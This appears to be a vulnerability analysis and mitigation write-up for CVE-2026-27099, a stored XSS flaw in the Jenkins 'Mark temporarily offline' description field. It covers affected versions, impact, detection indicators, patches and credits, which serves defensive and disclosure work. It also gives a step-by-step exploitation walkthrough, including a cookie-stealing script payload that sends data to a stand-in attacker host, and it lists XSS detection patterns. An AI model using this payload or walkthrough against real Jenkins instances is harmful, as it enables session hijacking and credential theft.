CVE-2026-27099: 
Java vulnerability analysis and mitigation

CVE-2026-27099 is a stored cross-site scripting (XSS) vulnerability in Jenkins core, tracked as SECURITY-3669, affecting Jenkins weekly versions 2.483 through 2.550 (inclusive) and LTS versions 2.492.1 through 2.541.1 (inclusive). The flaw arises because Jenkins does not escape user-provided descriptions in the "Mark temporarily offline" offline cause feature, allowing malicious HTML/JavaScript to be stored and rendered in other users' browsers. It was publicly disclosed on February 18, 2026, via the Jenkins Security Advisory, and was reported through the Jenkins Bug Bounty Program sponsored by the European Commission (Jenkins Advisory). The vulnerability carries a CVSS v3.1 base score of 8.0 (High) (Jenkins Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of input during web page generation (CWE-79 — Stored XSS). Starting with Jenkins 2.483, the offline cause description field was redesigned to support HTML rendering, but the user-supplied text in the "Mark temporarily offline" dialog was never sanitized or escaped before being stored and rendered (Jenkins Advisory). An attacker with Agent/Configure or Agent/Disconnect permission can inject arbitrary JavaScript into this field; the payload is then executed in the browser of any Jenkins user who views the affected agent's status page. On Jenkins 2.539 and newer (including LTS 2.541.1), enforcing Content Security Policy (CSP) headers can mitigate the impact, but does not eliminate the underlying vulnerability (Jenkins Advisory). No public proof-of-concept exploit code has been identified as of the time of this report.

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other Jenkins users — including administrators — who view the compromised agent's page. This can lead to session token theft, account takeover, unauthorized actions performed on behalf of victims, and potential lateral movement within the Jenkins environment if administrator sessions are hijacked (Jenkins Advisory, Red Hat Bugzilla). Given Jenkins' role as a CI/CD platform, a compromised administrator account could expose build secrets, credentials, source code, and pipeline configurations, significantly expanding the blast radius beyond the initial XSS.

1. Reconnaissance: Identify a Jenkins instance running weekly versions 2.483–2.550 or LTS 2.492.1–2.541.1. Confirm the target version via the Jenkins UI or HTTP response headers.
2. Obtain required permissions: Authenticate to Jenkins with an account that holds Agent/Configure or Agent/Disconnect permission on at least one build agent.
3. Navigate to the target agent: In the Jenkins UI, go to the agent's management page and select "Mark this node temporarily offline."
4. Inject malicious payload: In the offline reason/description field, enter a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload to exfiltrate session tokens or perform CSRF actions.
5. Trigger victim execution: Wait for a Jenkins user (ideally an administrator) to navigate to the agent's status page. The stored script executes in their browser context, delivering session cookies or performing actions on their behalf.
6. Leverage compromised session: Use the stolen session token to authenticate as the victim, access credentials, pipeline configurations, or escalate privileges within the Jenkins environment (Jenkins Advisory).

• Logs: Jenkins access logs showing POST requests to agent management endpoints (e.g., /computer/<agent-name>/toggleOffline) containing HTML or JavaScript tags in the offlineMessage parameter; unexpected JavaScript-related errors in browser console logs captured server-side.
• Application Data: Agent offline cause descriptions in the Jenkins database or UI containing <script>, javascript:, onerror=, onload=, or other event handler attributes.
• Network: Outbound HTTP requests from Jenkins users' browsers to unexpected external domains shortly after viewing an agent status page; unusual DNS lookups originating from administrator workstations following Jenkins UI access.
• User Activity: Unexpected administrative actions (e.g., credential access, job creation, permission changes) performed by accounts that did not initiate them, potentially indicating session hijacking following XSS exploitation.

The primary remediation is to upgrade Jenkins to weekly version 2.551 or LTS version 2.541.2, both of which escape the user-provided offline cause description and eliminate the vulnerability (Jenkins Advisory). As a short-term workaround for instances running Jenkins 2.539 or newer (including LTS 2.541.1), enforcing Content Security Policy (CSP) headers can reduce the exploitability of the XSS, though it does not fix the underlying issue. Additionally, restricting Agent/Configure and Agent/Disconnect permissions to only fully trusted users limits the pool of potential attackers. Red Hat has also issued advisories (RHSA-2026:10209, RHSA-2026:10201) for affected downstream products (Red Hat Bugzilla).

The vulnerability received coverage from multiple security news outlets including CyberSecurityNews, GBHackers, SecurityOnline, and The Hacker News' weekly recap, generally framing it as a high-severity risk to CI/CD environments (Jenkins Advisory). The Jenkins project credited two independent researchers — Muhammed Niazy (Wolfman) and Elie Metahri of Airbus Protect Offensive Security Team — for responsible disclosure through the EU-sponsored Jenkins Bug Bounty Program. Community discussion on Mastodon and security forums noted the risk to build environments where Jenkins administrators may not promptly review agent status pages. Oracle also included this CVE in its April 2026 Critical Patch Update (Oracle CPU).